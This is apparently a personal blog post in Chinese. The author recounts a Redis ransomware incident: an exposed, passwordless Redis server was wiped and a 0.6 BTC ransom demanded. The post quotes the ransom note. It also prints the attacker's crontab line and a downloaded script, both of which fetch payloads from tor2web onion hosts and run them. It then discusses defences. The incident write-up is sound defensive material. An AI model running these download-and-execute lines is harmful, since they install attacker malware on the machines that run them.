又一次redis被刪庫跑路,索要0.6比特幣

還在和媳婦兒逛街,突然同事打來電話說redis庫被清空。

于是,媳婦兒說你真是烏鴉嘴,早上還說redis如何被提權的事情。

怎么剛出來就碰上了?

會不會是你搞的?

于是無形中又背鍋了。

見×××姐如此著急,邊安慰，邊提醒讓同事查一下,是什么時候發生的事情,受害面積有多大？

但是×××姐很鎮靜的說,不可以啊,我們ucloud云商上的redis的機器,是禁止外網登錄的,
所有外網的6379端口都被禁用了。

僅限本機登錄,于是,我問你有加密碼嘛？×××姐說,便于程序研發效率,內網環境,自然就沒有加密碼。

于是,匆匆忙忙趕回去,登錄上機器,通過uclod控制臺確認看了下。

我擦被那個蠢貨開啟了一臺機器的redis外網,而這臺機器,
××××××面除了一個監控調度的程序,是和其他機器完全隔離的,
沒有任何業務直接關聯的程序,除了redis,而且這臺機器也不能連接到其他機器的redis。

這臺機器沒有任何機密核心數據。

結果登陸上機器就出現了

Warning! 
Your File and DataBase is downloaded and backed up on our secured servers. To recover your lost data : Send 0.6 BTC to our BitCoin Address and Contact us by eMail with your server IP Address and a Proof of Payment. Any eMail without your server IP Address and a Proof of Payment together will be ignored. We will drop the backup after 24 hours. You are welcome! 
! 
Mail:dbsecuritys@protonmail.com 
Bi 
BitCoin:3JPaDCoRnQatEEDoY59KtgF38GZiL5Kiny

遇上此事,別慌張,顯然是沒有備份你數據的，給了錢也不會有數據。

倒也是有人給付款,詳細查看下面阿里云官方文章。

科普一下：
比特幣單價,寫此文時,價格是1BTC=44871.5元

正式走起....

習慣性的先crotab -l,看了下,因為怕其他命令被篡改。

54 * * * * (wget -qO- -U- U- https://ddgsdk6oou6znsdn.tor2web.io/i.sh||wg||wget -qO- -U- U- http://ddgsdk6oou6znsdn.tor2web.me/i.sh||wg||wget -qO- -U- U- https://ddgsdk6oou6znsdn.onion.pet/i.sh||wg||wget -qO- -U- U- https://ddgsdk6oou6znsdn.onion.ws/i.sh)|bas|bash
一看高明了,直接使用了暗網地址。

自己也嘗試用了洋蔥路由經過各種設置到了暗網去訪問,發現訪問不了。
于是google了一下可謂是怨聲載道。

聲明:需要在能訪問谷歌的前提下,點擊以下鏈接。

原文地址

看不懂英文點擊這里

原來坑不止這一個,于是想起以前的hadoop yarn的悲情故事。
查看到了阿里云先知社區的文章,如此熟悉又那么陌生。

緊接著確認了機器受害的情況,發現是在周六3點左右,

誰TM這時候搞,具有混淆性，乃至懷疑到了是不是內鬼所為,登錄機器一查。

被清redis庫的機器上所有2018年11月3號的日志,last信息,以及你能腦補到的,都被刪除了。

唯獨和唯一一臺被開啟外網redis端口機器不同的是:

"這些被清redis庫機器的root home data目錄下屬于的數據都在,也并沒有warning.txt."

毀壞程度可以查看阿里云官網腳本(雖然我們任務計劃里顯示的腳本只能下載下面這么一個)

內容如下:

exec &>/dev/null
if ! ps -p $(< /tmp/.X11-lock); then
    x=/var/tmp/.x
    wget -qU- http://malwregafeg2fdjn.tor2web.me/.$(uname -m) -O$x;chmod 777 $x;$x;rm -f $x
fi

刪庫跑路加勒索，Redis勒索事件爆發

但參考上面文檔以及直接受損害的機器,明顯就是root,home，data目錄都被刪。

腳本絲毫沒體現出備份到他們數據庫的意思。

看下人家10秒之內就可以抵擋,你垃圾Ucloud，并沒有動靜.
可謂是大廠和小廠的天壤之別。

來不及悲傷與埋怨,媳婦兒也明知道重要數據都是已轉移。

接下來的事情,就是確認其他redis機器,受害面。

以及彌補方法。

據同事說刪除了5臺機器的數據估計直接是flushdb all.

唯獨不一樣的是,被清庫的所有redis機器上面的文件目錄都在,
而且也沒有任何可疑的進程,更沒有任務計劃。

如果是***遠程操作清除日志，奈何非要選擇z只清除清庫當天的日記。以及清除當天登錄消息。甚至如此了解。讓人不得不防是不是內鬼行為？

在數據有挽回希望的同時,小媳婦兒心理由于沒有好好逛街,而超級不爽。

人漂亮,技術也好，人緣自然不差的她,甚是憋屈。

雖然每一個離職人的權限都收回了,然而被一臺沒有在乎的機器,被不知名的人從中作梗,害人害己,顯然讓人為之懷疑這些搞破壞處心積慮的人之目的。

由于害怕被APT,查遍了所有機器,以及所有的秘鑰認證。

于是,筆者推薦用jumpserver一定要嚴格的把控好權限,就算你刪了日志又何妨,有本事你來刪除我的跳轉機日志。

畢竟權限大到好幾個人都有登錄嫌疑。又不好定位。

出事了開發人員大多都只管我現在不能用了,至于發生了什么,大抵誰都不會搭理。

而在這件事情中,自己的感覺是每一個思維模式從安全的角度出發。而媳婦兒作為大數據運維,是從運維的角度出發。

因此還是出現了分歧，比如她就會認為是內鬼所有，當然這個幾率很大，他會從當下時間去分析，然而在安全方向有一個最可怕的,那就是APT。

我不急于一時搞你,我就埋藏在這里，用上長時間去抓包,分析你業務,***你機器，畢竟敵人在暗處，你在明處。

如果是內鬼,又何必寫別人的比特幣地址。因此種種作案手法,還是充滿嫌疑。

能做的就是換跳板機,做好最小授權。最后我提議上蜜罐。

管理實際上最難的一件事,無論是管人還是技術,隨便一個冷區,容易忽視的冷區,都可能成為歹徒興風作浪的切入點。

而做一個技術人,術業有專攻,哪怕你再聰明,永遠做不到絕對的安全。

還記得初入職場,清華大學畢業的CTO給在下的一句話,知道你自己肩上的擔子多重嗎？

我的回答是知道：因為我是有root權限的人......